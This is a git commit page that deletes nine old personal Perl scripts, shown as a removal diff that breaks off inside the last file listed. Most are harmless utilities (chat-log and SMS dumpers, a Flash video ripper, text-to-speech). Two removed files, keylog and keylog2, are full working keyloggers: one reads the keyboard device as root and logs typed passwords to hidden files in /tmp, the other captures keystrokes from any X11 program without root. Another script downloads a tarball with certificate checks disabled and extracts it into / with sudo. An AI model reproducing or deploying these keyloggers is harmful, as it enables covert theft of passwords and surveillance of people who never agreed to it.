Browse Source

Retire old shell scripts

Moved them to git.kirsle.net/kirsle/scripts
Noah Petherbridge 6 months ago
parent
commit
a80a0f6ba3
9 changed files with 0 additions and 1154 deletions
  1. 0
    74
      home/bin/dumpmsn
  2. 0
    67
      home/bin/dumpsms
  3. 0
    68
      home/bin/flashget
  4. 0
    27
      home/bin/gsay
  5. 0
    370
      home/bin/keylog
  6. 0
    292
      home/bin/keylog2
  7. 0
    9
      home/bin/lenny-up
  8. 0
    80
      home/bin/mt-link-stuff
  9. 0
    167
      home/bin/screenspy

+ 0
- 74
home/bin/dumpmsn View File

@@ -1,74 +0,0 @@
1
-#!/usr/bin/perl
2
-
3
-# dumpmsn - Pretty up MSN Messenger chat logs.
4
-#
5
-# Usage: dumpmsn *.xml
6
-#
7
-# This will create a folder named "html" and put the files there. Give it chat
8
-# logs from Windows Live Messenger 2011 or similar (no guarantees it
9
-# will work with other versions).
10
-#
11
-# --Kirsle
12
-# http://sh.kirsle.net/
13
-
14
-use 5.14.0;
15
-use strict;
16
-use warnings;
17
-use XML::Simple;
18
-
19
-if (!-d "html") {
20
-	mkdir("html") or die "Can't create folder 'html': $@";
21
-}
22
-
23
-foreach my $file (@ARGV) {
24
-	say "Dumping $file...";
25
-	my $xml = XMLin($file, ForceArray => 1);
26
-	my $html = $file;
27
-	$html =~ s/\.xml$//g;
28
-
29
-	open (my $fh, ">:utf8", "./html/$html.html");
30
-	print {$fh} <<EOF;
31
-<!DOCTYPE html>
32
-<html>
33
-<head>
34
-<title>Conversation Log</title>
35
-<style>
36
-body {
37
- background-color: #FFFFFF;
38
- font-family: Verdana,Arial,Helvetica,sans-serif;
39
- font-size: small;
40
- color: #000000;
41
-}
42
-</style>
43
-</head>
44
-<body>
45
-EOF
46
-
47
-	if (ref($xml->{Message}) ne "ARRAY") {
48
-		warn "Not an array for $file";
49
-		next;
50
-	}
51
-	foreach my $Message (@{$xml->{Message}}) {
52
-		my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName};
53
-		my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName};
54
-		my $time = $Message->{Date} . " " . $Message->{Time};
55
-		my ($text,$style);
56
-		if (ref($Message->{Text}->[0])) {
57
-			$text = $Message->{Text}->[0]->{content};
58
-			$style = $Message->{Text}->[0]->{Style};
59
-		} else {
60
-			$text = $Message->{Text}->[0];
61
-		}
62
-
63
-		$style //= "";
64
-		$style = " style=\"$style\"" if length $style > 0;
65
-
66
-		print {$fh} "<strong>$time</strong><br>\n"
67
-			. "<em>$from says:</em>\n"
68
-			. "<blockquote$style>$text</blockquote>\n"
69
-			. "<hr>\n\n";
70
-	}
71
-
72
-	print {$fh} "</body>\n</html>";
73
-	close($fh);
74
-}

+ 0
- 67
home/bin/dumpsms View File

@@ -1,67 +0,0 @@
1
-#!/usr/bin/perl
2
-
3
-# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly
4
-# readable HTML files!
5
-#
6
-# Usage: dumpsms <sms-dump.xml>
7
-# Ex:    dumpsms sms-20120629202942.xml
8
-#
9
-# It will create a folder "./sms" if it doesn't exist, and output all the logs
10
-# into that folder. It saves HTML files after the contact name, if available.
11
-# Logs are opened in append mode, so if you run the script multiple times the
12
-# logs get appended to the end of the file!
13
-#
14
-# --Kirsle
15
-# http://sh.kirsle.net/
16
-
17
-use 5.14.0;
18
-use strict;
19
-use warnings;
20
-use autodie;
21
-use XML::Simple;
22
-
23
-my $xml = shift or die "$0 <*.xml>";
24
-
25
-mkdir("sms") unless -d "sms";
26
-my $ref = XMLin($xml);
27
-
28
-foreach my $sms (@{$ref->{sms}}) {
29
-	my $num = $sms->{address};
30
-
31
-	my $color = $sms->{type} eq "1" ? "receive" : "send";
32
-	my $dir   = $sms->{type} eq "1" ? "From" : "Sent to";
33
-
34
-	my $file = "./sms/$sms->{contact_name}.html";
35
-	if (!-f $file) {
36
-		open (my $fh, ">", $file);
37
-		print {$fh} "<!DOCTYPE html>\n"
38
-			. "<html>\n"
39
-			. "<head>\n"
40
-			. "<title>Conversation with $sms->{contact_name}</title>\n"
41
-			. "<style>\n"
42
-			. "body {\n"
43
-			. " font-family: Verdana,Arial,sans-serif;\n"
44
-			. " font-size: small;\n"
45
-			. " color: #000000;\n"
46
-			. "}\n"
47
-			. ".receive {\n"
48
-			. " color: #0000FF;\n"
49
-			. "}\n"
50
-			. ".send {\n"
51
-			. " color: #FF0000;\n"
52
-			. "}\n"
53
-			. "</style>\n"
54
-			. "</head>\n"
55
-			. "<body>\n\n";
56
-		close($fh);
57
-	}
58
-
59
-	open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html");
60
-	print {$fh} "<strong class='$color'>$sms->{readable_date}</strong><br>\n"
61
-		. "<strong>$dir</strong> $sms->{contact_name} - $num\n"
62
-		. "<blockquote>$sms->{body}</blockquote>\n"
63
-		. "<hr>\n";
64
-	close($fh);
65
-}
66
-
67
-say "Wrote logs to ./sms";

+ 0
- 68
home/bin/flashget View File

@@ -1,68 +0,0 @@
1
-#!/usr/bin/perl -w
2
-
3
-# flashget - Download Flash videos from any hosting site.
4
-# Usage: flashget [output directory default $HOME]
5
-# Author: Kirsle
6
-# http://sh.kirsle.net/
7
-
8
-# This script doesn't care what your flash player is called. It just looks for
9
-# any process that owns a /tmp/Flash####### file and copies it. It works for
10
-# both the "old style" Netscape Flash plugin (for Firefox and Chromium) and the
11
-# Pepper API style used in Google Chrome.
12
-
13
-use strict;
14
-use warnings;
15
-use File::Copy;
16
-
17
-my $home = shift @ARGV || (defined $ENV{HOME} ? $ENV{HOME} : ".");
18
-
19
-print "flashget - Searching for Flash videos to rip. For best results, make sure\n"
20
-	. "you FULLY BUFFER the video first in your web browser.\n\n";
21
-
22
-my $count = 0;
23
-
24
-# First, just do a dumb scan of everything in /proc that we have read-access to
25
-# and look for Flash files belonging to either Chrome or the Firefox-style Flash
26
-# plugin. Note that the Chrome Flash plugin locks us out of its file descriptors
27
-# unless we run with root privileges.
28
-opendir (my $proc, "/proc");
29
-foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) {
30
-	# Skip PID's we can't read from.
31
-	next unless -r "/proc/$pid/fd";
32
-
33
-	# Look for flash videos.
34
-	opendir (my $fd, "/proc/$pid/fd");
35
-	foreach my $id (sort(grep(!/^\./, readdir($fd)))) {
36
-		my $file = "/proc/$pid/fd/$id"; # Make it an abs path.
37
-		if (-l $file) {
38
-			my $link = readlink($file);
39
-
40
-			# Look for a Flash video link.
41
-			$link =~ s/\s*\(deleted\)//g; # Remove the " (deleted)" extensions.
42
-			if ($link =~ m{^/tmp/((?:Flash|FreshTemp).*?)$} || $link =~ m{Shockwave Flash/\.(.+?)$}) {
43
-				# Copy it.
44
-				my $dest = "$home/$1.flv";
45
-				print "Recover from PID $pid: $id -> $dest\n";
46
-				copy($file, $dest) or print "ERR: Couldn't copy to $dest: $@\n";
47
-				$count++;
48
-			}
49
-		}
50
-	}
51
-	closedir($fd);
52
-}
53
-closedir ($proc);
54
-
55
-print "\nRecovered $count Flash video(s).\n";
56
-
57
-# Do a quick check for Google Chrome Flash processes that we didn't manage to
58
-# get files from, to notify the user that they may want to re-run as root.
59
-if ($> != 0) {
60
-	my $ps = `ps aux | grep ppapi | grep -v grep`;
61
-	if ($ps) {
62
-		print "I found a few Google Chrome Flash plugins running, but I need\n"
63
-			. "root permissions to read those files (unless you saw some files\n"
64
-			. "named like 'com.google' above). Run this script as root to get\n"
65
-			. "Flash videos out of Google Chrome.\n";
66
-		print "$ps\n";
67
-	}
68
-}

+ 0
- 27
home/bin/gsay View File

@@ -1,27 +0,0 @@
1
-#!/usr/bin/perl
2
-
3
-# gsay - Text to Speech using Google
4
-# Usage: gsay <message>
5
-#
6
-# --Kirsle
7
-# http://sh.kirsle.net/
8
-
9
-use strict;
10
-use warnings;
11
-use URI::Escape;
12
-
13
-if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) {
14
-	die "Usage: $0 <message>\n";
15
-}
16
-
17
-my $message = uri_escape(join(" ", @ARGV));
18
-
19
-# Check for mplayer.
20
-chomp(my $mplayer = `which mplayer 2>/dev/null`);
21
-if ($? || !$mplayer) {
22
-	die "Couldn't find `mplayer` - please install it!\n";
23
-}
24
-
25
-# Fork a background process to speak and exit immediately.
26
-exit if fork();
27
-exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1");

+ 0
- 370
home/bin/keylog View File

@@ -1,370 +0,0 @@
1
-#!/usr/bin/perl -w
2
-
3
-use strict;
4
-use warnings;
5
-use threads;
6
-use threads::shared;
7
-
8
-# keylog - A simple key logger.
9
-# Usage:   keylog <path-to-device-node>
10
-# Example: keylog /dev/input/event0
11
-#
12
-# The user you run this as should have read access to the device node. Most of
13
-# the time, this means you'll need to run this as root.
14
-#
15
-# To find out which device node your keyboard is using, run the command
16
-# `cat /proc/bus/input/devices` and search for your keyboard. There should be
17
-# a line by your keyboard's info that looks like "Handlers=kbd event4" and
18
-# in this case the input device is /dev/input/event4. Update this for any
19
-# other event number that you see instead.
20
-#
21
-# This program prints ALL key events to the terminal (including the key up/down
22
-# events for all keys). This information probably isn't directly useful to you,
23
-# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
24
-# it logs are probably the most useful to you; if the user hits the backspace
25
-# key, the last key they typed is deleted, etc.. so if a user is typing their
26
-# password and makes a typo and finishes typing, you'll get their full password.
27
-#
28
-# The buffer used for this is saved after 2 seconds of idle time in their typing,
29
-# or when a "separator key" is entered (a separator key is: Enter, Return, or
30
-# Tab). Each buffer is saved to its own line in the log file. If the user is a
31
-# slow typer, one "sentence" may actually span multiple lines, so you'll have to
32
-# figure this out yourself.
33
-#
34
-# This is just a proof of concept and should be used for educational purposes
35
-# only.
36
-#
37
-# --Kirsle
38
-# http://sh.kirsle.net/
39
-
40
-# Modify the die handler so we can exit on error messages
41
-# more gracefully.
42
-$SIG{__DIE__} = sub {
43
-	my $err = shift;
44
-	$err =~ s/ at .+ line .+\.//g;
45
-	print $err;
46
-	exit(1);
47
-};
48
-
49
-# Get the device node from command line.
50
-scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
51
-my $DEV = $ARGV[0];
52
-
53
-# Must run this as root, or be able to read from the device.
54
-if (!-r $DEV) {
55
-	die "Can't read from $DEV; got root?";
56
-}
57
-
58
-# Hash to keep track of modifier keys.
59
-our $mod = {
60
-	shift => 0,
61
-	alt   => 0,
62
-	ctrl  => 0,
63
-};
64
-
65
-# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
66
-# or hit a "separator key" (return/enter or tab), the buffer is written to disk
67
-# in the log file. The backspace key deletes text in the buffer, etc. This way
68
-# you can see basically what they typed, without having to parse through the
69
-# key up/down events yourself.
70
-my $buffer  : shared;
71
-my $lastkey : shared;  # Holds the time() of the last key event seen.
72
-my $writenow : shared; # The key parser can force the buffer to write now.
73
-$buffer  = '';
74
-$lastkey = 0;
75
-$writenow = 0;
76
-
77
-# Spawn a thread to watch the buffer and write it to disk. This way the
78
-# blocking file reads won't prevent the buffer from being written.
79
-my $bufthread = threads->create (\&buffer);
80
-
81
-# Open the device for reading.
82
-open (FILE, $DEV);
83
-while (1) {
84
-	# Read the next keypress event.
85
-	my $line = "";
86
-	sysread(FILE, $line, 16);
87
-	my @vals = split(//, $line);
88
-
89
-	if (ord($vals[10]) != 0) {
90
-		# Interpret the event.
91
-		interpret(ord($vals[10]),ord($vals[12]));
92
-	}
93
-}
94
-close (FILE);
95
-
96
-# This is the buffer writing thread.
97
-sub buffer {
98
-	while (1) {
99
-		select(undef,undef,undef,0.1);
100
-
101
-		# Was there a 2 second delay from the last event?
102
-		if ($lastkey == 0) {
103
-			next;
104
-		}
105
-
106
-		if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
107
-			# Write it to disk.
108
-			print "Writing buffer to disk\n";
109
-			open (WRITE, ">>/tmp/.keylog");
110
-			print WRITE ts() . "$buffer\n";
111
-			close (WRITE);
112
-			$buffer = '';
113
-			$lastkey = 0;
114
-			$writenow = 0;
115
-		}
116
-	}
117
-}
118
-
119
-# Interpret keycode events from the device node.
120
-sub interpret {
121
-	my ($keycode,$state) = @_;
122
-
123
-	# Store the last keypress time.
124
-	$lastkey = time();
125
-
126
-	# Qwerty keyboard map.
127
-	qwerty($keycode,$state);
128
-	return;
129
-
130
-	# This code doesn't run; if you want it to run,
131
-	# comment out the "return" just above these
132
-	# comments. This is for debugging purposes.
133
-	print "[$keycode] ";
134
-	if ($state == 0) {
135
-		print "up\n";
136
-	}
137
-	elsif ($state == 1) {
138
-		print "down\n";
139
-	}
140
-	elsif ($state == 2) {
141
-		print "repeat\n";
142
-	}
143
-	else {
144
-		print "\n";
145
-	}
146
-}
147
-
148
-# Interpret keycodes based on QWERTY key map.
149
-sub qwerty {
150
-	my ($code,$state) = @_;
151
-	return unless $state >= 0 && $state <= 2;
152
-
153
-	# Handle the modifier keys first.
154
-	if ($code == 42 || $code == 54) {
155
-		# Shift key.
156
-		$mod->{shift} = ($state == 1 ? 1 : 0);
157
-	}
158
-	elsif ($code == 29 || $code == 97) {
159
-		# Ctrl key.
160
-		$mod->{ctrl} = ($state == 1 ? 1 : 0);
161
-	}
162
-	elsif ($code == 56 || $code == 100) {
163
-		# Alt key.
164
-		$mod->{alt} = ($state == 1 ? 1 : 0);
165
-	}
166
-
167
-	# Qwery keys.
168
-	my %keys = (
169
-		# Keys that map to two different characters (with shift
170
-		# key held down) are an array; element 0 is the non-shifted
171
-		# character, element 1 is the shifted character.
172
-
173
-		# number row
174
-		41 => [ '`', '~' ],
175
-		2  => [ '1', '!' ],
176
-		3  => [ '2', '@' ],
177
-		4  => [ '3', '#' ],
178
-		5  => [ '4', '$' ],
179
-		6  => [ '5', '%' ],
180
-		7  => [ '6', '^' ],
181
-		8  => [ '7', '&' ],
182
-		9  => [ '8', '*' ],
183
-		10 => [ '9', '(' ],
184
-		11 => [ '0', ')' ],
185
-		12 => [ '-', '_' ],
186
-		13 => [ '=', '+' ],
187
-
188
-		# qwerty row
189
-		16 => [ 'q', 'Q' ],
190
-		17 => [ 'w', 'W' ],
191
-		18 => [ 'e', 'E' ],
192
-		19 => [ 'r', 'R' ],
193
-		20 => [ 't', 'T' ],
194
-		21 => [ 'y', 'Y' ],
195
-		22 => [ 'u', 'U' ],
196
-		23 => [ 'i', 'I' ],
197
-		24 => [ 'o', 'O' ],
198
-		25 => [ 'p', 'P' ],
199
-		26 => [ '[', '{' ],
200
-		27 => [ ']', '}' ],
201
-		43 => [ '\\', '|' ],
202
-
203
-		# asdf row
204
-		30 => [ 'a', 'A' ],
205
-		31 => [ 's', 'S' ],
206
-		32 => [ 'd', 'D' ],
207
-		33 => [ 'f', 'F' ],
208
-		34 => [ 'g', 'G' ],
209
-		35 => [ 'h', 'H' ],
210
-		36 => [ 'j', 'J' ],
211
-		37 => [ 'k', 'K' ],
212
-		38 => [ 'l', 'L' ],
213
-		39 => [ ';', ':' ],
214
-		40 => [ "'", '"' ],
215
-
216
-		# zxcv row
217
-		44 => [ 'z', 'Z' ],
218
-		45 => [ 'x', 'X' ],
219
-		46 => [ 'c', 'C' ],
220
-		47 => [ 'v', 'V' ],
221
-		48 => [ 'b', 'B' ],
222
-		49 => [ 'n', 'N' ],
223
-		50 => [ 'm', 'M' ],
224
-		51 => [ ',', '<' ],
225
-		52 => [ '.', '>' ],
226
-		53 => [ '/', '?' ],
227
-
228
-		# Other keys
229
-		14  => 'Backspace',
230
-		28  => 'Return',
231
-		96  => 'Enter',
232
-		15  => 'Tab',
233
-		57  => ' ',
234
-		58  => 'Caps Lock',
235
-		69  => 'Num Lock',
236
-		70  => 'Scroll Lock',
237
-		42  => 'L-Shift',
238
-		54  => 'R-Shift',
239
-		29  => 'L-Ctrl',
240
-		97  => 'R-Ctrl',
241
-		56  => 'L-Alt',
242
-		100 => 'R-Alt',
243
-		125 => 'L-Super',
244
-		126 => 'R-Super',
245
-		127 => 'Menu',
246
-		1   => 'Escape',
247
-		59  => 'F1',
248
-		60  => 'F2',
249
-		61  => 'F3',
250
-		62  => 'F4',
251
-		63  => 'F5',
252
-		64  => 'F6',
253
-		65  => 'F7',
254
-		66  => 'F8',
255
-		67  => 'F9',
256
-		68  => 'F10',
257
-		87  => 'F11',
258
-		88  => 'F12',
259
-		110 => 'Insert',
260
-		102 => 'Home',
261
-		107 => 'End',
262
-		104 => 'Pg Up',
263
-		109 => 'Pg Dn',
264
-		111 => 'Del',
265
-		99  => 'Print Screen',
266
-		119 => 'Pause',
267
-		103 => 'Up',
268
-		108 => 'Down',
269
-		106 => 'Right',
270
-		105 => 'Left',
271
-		71  => [ 'Num-7', 'Num-Home'   ],
272
-		72  => [ 'Num-8', 'Num-Up'     ],
273
-		73  => [ 'Num-9', 'Num-Pg Up'  ],
274
-		75  => [ 'Num-4', 'Num-Left'   ],
275
-		76  => 'Num-5',
276
-		77  => [ 'Num-6', 'Num-Right'  ],
277
-		79  => [ 'Num-1', 'Num-End'    ],
278
-		80  => [ 'Num-2', 'Num-Down'   ],
279
-		81  => [ 'Num-3', 'Num-Pg Dn'  ],
280
-		82  => [ 'Num-0', 'Num-Insert' ],
281
-		96  => 'Num-/',
282
-		55  => 'Num-*',
283
-		74  => 'Num--',
284
-		78  => 'Num-+',
285
-		93  => [ 'Num-.', 'Num-Del' ],
286
-	);
287
-
288
-	# See their matching keypress.
289
-	my $keypress = '';
290
-	foreach my $key (sort keys %keys) {
291
-		if ($code == $key) {
292
-			# We have a match! Does the key have a shift-modifier?
293
-			if (ref($keys{$key}) eq "ARRAY") {
294
-				if ($mod->{shift}) {
295
-					$keypress = $keys{$key}->[1];
296
-				}
297
-				else {
298
-					$keypress = $keys{$key}->[0];
299
-				}
300
-			}
301
-			else {
302
-				$keypress = $keys{$key};
303
-			}
304
-			last;
305
-		}
306
-	}
307
-
308
-	# Add it to the buffer.
309
-	if ($state == 1) {
310
-		if (length $keypress > 1) {
311
-			if ($keypress eq 'Backspace') {
312
-				# Delete the last character off the end of their buffer.
313
-				$buffer = substr($buffer,0,(length($buffer) - 1));
314
-			}
315
-			else {
316
-				# Add the special key with {brackets} around it.
317
-				$buffer .= "{$keypress}";
318
-			}
319
-		}
320
-		else {
321
-			$buffer .= $keypress;
322
-		}
323
-	}
324
-
325
-	# If they hit a separator key, save the buffer right now.
326
-	if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
327
-		$writenow = 1;
328
-	}
329
-
330
-	# Print their key.
331
-	if ($mod->{shift}) {
332
-		$keypress = "(Shift) $keypress";
333
-	}
334
-	if ($mod->{ctrl}) {
335
-		$keypress = "(Ctrl) $keypress";
336
-	}
337
-	if ($mod->{alt}) {
338
-		$keypress = "(Alt) $keypress";
339
-	}
340
-
341
-	if ($state == 1) {
342
-		$keypress = "+ $keypress";
343
-	}
344
-	else {
345
-		$keypress = "- $keypress";
346
-	}
347
-
348
-	print "$code $keypress\n";
349
-
350
-	# Log the raw keypresses too.
351
-	open (RAW, ">>/tmp/.rawkeylog");
352
-	print RAW ts() . "$code $keypress\n";
353
-	close (RAW);
354
-}
355
-
356
-sub ts {
357
-	my @time = localtime();
358
-	return "[" . join(" ",
359
-		join("-",
360
-			sprintf("%04d", $time[5] + 1900),
361
-			sprintf("%02d", $time[4] + 1),
362
-			sprintf("%02d", $time[3]),
363
-		),
364
-		join(":",
365
-			sprintf("%02d", $time[2]),
366
-			sprintf("%02d", $time[1]),
367
-			sprintf("%02d", $time[0]),
368
-		),
369
-	) . "] ";
370
-}

+ 0
- 292
home/bin/keylog2 View File

@@ -1,292 +0,0 @@
1
-#!/usr/bin/perl -w
2
-
3
-# keylog2 - a rootless keylogger that only requires an X server and the xinput
4
-# command (provided by xorg-x11-apps on Fedora). You'll also need to install
5
-# the Perl module IO::Pty::Easy.
6
-# 
7
-# Unlike my first keylogger proof-of-concept, this one doesn't require root
8
-# privileges because it just uses the X Window System. Therefore it only
9
-# catches key inputs made to graphical programs on the same X server that the
10
-# keylogger runs on.
11
-#
12
-# How it works: running `xinput list` lists all your X input devices. There's
13
-# a keyboard device named "AT (something)", mine is "AT Translated Set 2
14
-# keyboard". Get the ID from the line that says this and then run
15
-# `xinput test <id>` and it will start dumping keystroke information as the
16
-# user types keys into ANY graphical app.
17
-#
18
-# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
19
-# so no guarantees it will work for everybody. This is just another proof of
20
-# concept anyway, and shouldn't be used for malicious purposes.
21
-#
22
-# Under the default configuration, the log file is written to /tmp/.keylog
23
-# and only logs key release events, except for modifier keys (Shift, Ctrl,
24
-# Alt, and Super (Windows key)) where it will also log the Key Down event
25
-# (so Alt-Tabbing makes more sense in the log, for example). You can
26
-# optionally configure it to log EVERY key down event if you'd like, though.
27
-#
28
-# Again, this is just a proof of concept and should be used for educational
29
-# purposes only, and not for anything malicious.
30
-#
31
-# --Kirsle
32
-# http://sh.kirsle.net/
33
-
34
-use strict;
35
-use warnings;
36
-use IO::Pty::Easy;
37
-use IO::Handle;
38
-
39
-##########################
40
-# Configuration          #
41
-##########################
42
-
43
-my $conf = {
44
-	# Log files to write keys to
45
-	logfile => "/tmp/.keylog",
46
-
47
-	# By default only key-releases are logged. Log key-presses too?
48
-	log_keydown => 0,
49
-};
50
-
51
-##########################
52
-# End Configuration      #
53
-##########################
54
-
55
-# X11 display.
56
-$ENV{DISPLAY} ||= ":0.0";
57
-
58
-# Make sure we have xinput.
59
-if (system("which xinput > /dev/null") != 0) {
60
-	print "You require the `xinput` command for this keylogger to work.\n";
61
-	exit(1);
62
-}
63
-
64
-# Get the input list.
65
-my @inputs = `xinput list`;
66
-
67
-# Find the AT keyboard.
68
-my $id;
69
-foreach my $line (@inputs) {
70
-	$line =~ s/^[\s\t]+//g;
71
-	$line =~ s/[\s\t]+$//g;
72
-	$line =~ s/[\x0D\x0A]+//g;
73
-	next unless length $line;
74
-	if ($line =~ /keyboard/i && $line =~ /. AT/) {
75
-		($id) = ($line =~ /id=(\d+)/)[0];
76
-	}
77
-}
78
-if (!defined $id) {
79
-	print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
80
-	exit(1);
81
-}
82
-
83
-print "Keyboard ID: $id\n";
84
-
85
-# Track state of modifier keys.
86
-our %mod = (
87
-	'shift' => 0,
88
-	'ctrl'  => 0,
89
-	'alt'   => 0,
90
-	'super' => 0,
91
-);
92
-
93
-# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
94
-my $tty = IO::Pty::Easy->new();
95
-print "Watching `xinput test $id`\n";
96
-$tty->spawn("xinput test $id");
97
-
98
-while ($tty->is_active) {
99
-	my $data = $tty->read();
100
-	my @lines = split(/\n/, $data);
101
-	foreach my $line (@lines) {
102
-		# Key event?
103
-		chomp $line;
104
-		if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
105
-			event($1, $2);
106
-		}
107
-	}
108
-}
109
-
110
-# Handle key events
111
-sub event {
112
-	my ($event,$sym) = @_;
113
-
114
-	# Only QWERTY keyboards supported.
115
-	my $key = kbd_qwerty($event,$sym);
116
-
117
-	print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
118
-
119
-	# Log it?
120
-	if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
121
-	($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
122
-		my @time = localtime(time());
123
-		my $ts = join(" ",
124
-			join("-",
125
-				sprintf("%4d", $time[5] + 1900),
126
-				sprintf("%2d", $time[4] + 1),
127
-				sprintf("%2d", $time[3]),
128
-			),
129
-			join(":",
130
-				sprintf("%2d", $time[2]),
131
-				sprintf("%2d", $time[1]),
132
-				sprintf("%2d", $time[0]),
133
-			),
134
-		);
135
-
136
-		open (my $log, ">>", $conf->{logfile});
137
-		print $log "[$ts] "
138
-			. ($event eq "release" ? "<Release>" : "<Press>")
139
-			. " "
140
-			. ($key eq " " ? "{space}" : $key)
141
-			. "\n";
142
-		close ($log);
143
-	}
144
-}
145
-
146
-# QWERTY keysym finder
147
-sub kbd_qwerty {
148
-	my ($event,$sym) = @_;
149
-
150
-	# Modifier keys.
151
-	my %modkeys = (
152
-		50  => 'shift', # L Shift
153
-		62  => 'shift', # R Shift
154
-		37  => 'ctrl',  # L Ctrl
155
-		105 => 'ctrl',  # R Ctrl
156
-		64  => 'alt',   # L Alt
157
-		108 => 'alt',   # R Alt
158
-		133 => 'super', # L Super
159
-	);
160
-	if (exists $modkeys{$sym}) {
161
-		my $name = $modkeys{$sym};
162
-		$mod{$name} = $event eq "press" ? 1 : 0;
163
-		return "{\u$name}";
164
-	}
165
-
166
-	# Qwerty keys.
167
-	my %keys = (
168
-		# qwerty row
169
-		24 => [ 'q', 'Q' ], # normal, shift key
170
-		25 => [ 'w', 'W' ],
171
-		26 => [ 'e', 'E' ],
172
-		27 => [ 'r', 'R' ],
173
-		28 => [ 't', 'T' ],
174
-		29 => [ 'y', 'Y' ],
175
-		30 => [ 'u', 'U' ],
176
-		31 => [ 'i', 'I' ],
177
-		32 => [ 'o', 'O' ],
178
-		33 => [ 'p', 'P' ],
179
-		34 => [ '[', '{' ],
180
-		35 => [ ']', '}' ],
181
-		51 => [ "\\", '|' ],
182
-
183
-		# asdf row
184
-		38 => [ 'a', 'A' ],
185
-		39 => [ 's', 'S' ],
186
-		40 => [ 'd', 'D' ],
187
-		41 => [ 'f', 'F' ],
188
-		42 => [ 'g', 'G' ],
189
-		43 => [ 'h', 'H' ],
190
-		44 => [ 'j', 'J' ],
191
-		45 => [ 'k', 'K' ],
192
-		46 => [ 'l', 'L' ],
193
-		47 => [ ';', ':' ],
194
-		48 => [ '"', "'" ],
195
-		36 => "{Return}",
196
-
197
-		# zxcv row
198
-		52 => [ 'z', 'Z' ],
199
-		53 => [ 'x', 'X' ],
200
-		54 => [ 'c', 'C' ],
201
-		55 => [ 'v', 'V' ],
202
-		56 => [ 'b', 'B' ],
203
-		57 => [ 'n', 'N' ],
204
-		58 => [ 'm', 'M' ],
205
-		59 => [ ',', '<' ],
206
-		60 => [ '.', '>' ],
207
-		61 => [ '/', '?' ],
208
-
209
-		# number row
210
-		49 => [ '`', '~' ],
211
-		10 => [ '1', '!' ],
212
-		11 => [ '2', '@' ],
213
-		12 => [ '3', '#' ],
214
-		13 => [ '4', '$' ],
215
-		14 => [ '5', '%' ],
216
-		15 => [ '6', '^' ],
217
-		16 => [ '7', '&' ],
218
-		17 => [ '8', '*' ],
219
-		18 => [ '9', '(' ],
220
-		19 => [ '0', ')' ],
221
-		20 => [ '-', '_' ],
222
-		21 => [ '+', '=' ],
223
-
224
-		# space bar
225
-		65 => ' ',
226
-
227
-		# number pad
228
-		90 => '{Num-0}',
229
-		87 => '{Num-1}',
230
-		88 => '{Num-2}',
231
-		89 => '{Num-3}',
232
-		83 => '{Num-4}',
233
-		84 => '{Num-5}',
234
-		85 => '{Num-6}',
235
-		79 => '{Num-7}',
236
-		80 => '{Num-8}',
237
-		81 => '{Num-9}',
238
-		106 => '{Num-/}',
239
-		63  => '{Num-*}',
240
-		82  => '{Num--}',
241
-		86  => '{Num-+}',
242
-
243
-		# F keys
244
-		67 => '{F1}',
245
-		68 => '{F2}',
246
-		69 => '{F3}',
247
-		70 => '{F4}',
248
-		71 => '{F5}',
249
-		72 => '{F6}',
250
-		73 => '{F7}',
251
-		74 => '{F8}',
252
-		75 => '{F9}',
253
-		76 => '{F10}',
254
-		95 => '{F11}',
255
-		96 => '{F12}',
256
-
257
-		# Misc
258
-		9  => '{Esc}',
259
-		22 => '{Backspace}',
260
-		77 => '{Num Lock}',
261
-		107 => '{Print Scr}',
262
-		118 => '{Insert}',
263
-		119 => '{Delete}',
264
-		110 => '{Home}',
265
-		112 => '{Pg Up}',
266
-		117 => '{Pg Dn}',
267
-		115 => '{End}',
268
-		111 => '{Up}',
269
-		116 => '{Down}',
270
-		113 => '{Left}',
271
-		114 => '{Right}',
272
-		135 => '{Menu}',
273
-		23  => '{Tab}',
274
-		66  => '{Caps Lock}',
275
-	);
276
-
277
-	if (exists $keys{$sym}) {
278
-		if (ref($keys{$sym})) {
279
-			print "(shift key: $mod{shift})\n";
280
-			if ($mod{shift}) {
281
-				return $keys{$sym}->[1];
282
-			}
283
-			else {
284
-				return $keys{$sym}->[0];
285
-			}
286
-		}
287
-		return $keys{$sym};
288
-	}
289
-	else {
290
-		return "{Unknown: $sym}";
291
-	}
292
-}

+ 0
- 9
home/bin/lenny-up View File

@@ -1,9 +0,0 @@
1
-#!/usr/bin/perl
2
-
3
-# Get some updated software on Debian Lenny, especially `git`.
4
-
5
-if (!-d "/opt/git") {
6
-	print "Fetching latest git\n";
7
-	system(qw(wget --no-check-certificate https://rpm.kirsle.net/static-bin/git/lenny/latest.tar.gz -O git-lenny.tar.gz));
8
-	system(qw(sudo tar -xzvf git-lenny.tar.gz -C /));
9
-}

+ 0
- 80
home/bin/mt-link-stuff View File

@@ -1,80 +0,0 @@
1
-#!/usr/bin/perl
2
-
3
-use strict;
4
-use warnings;
5
-use Cwd;
6
-
7
-# Make symlinks from your git-project repo into the system. This is only
8
-# designed to work with Media Temple's git-project workflow.
9
-#
10
-# Usage: sudo link-stuff.pl /path/to/git/project
11
-#
12
-# The git-project root should have top-level folders such as `perl-libs`, with
13
-# a path convention like e.g. `perl-libs/$NAME/lib/**/*.pm` -- this script will
14
-# attempt to find system-installed counterparts and symlink them to the file
15
-# from your git repo.
16
-#
17
-# Currently supports the following types of things:
18
-# * perl-libs
19
-
20
-my $root = shift;
21
-if (!$root) {
22
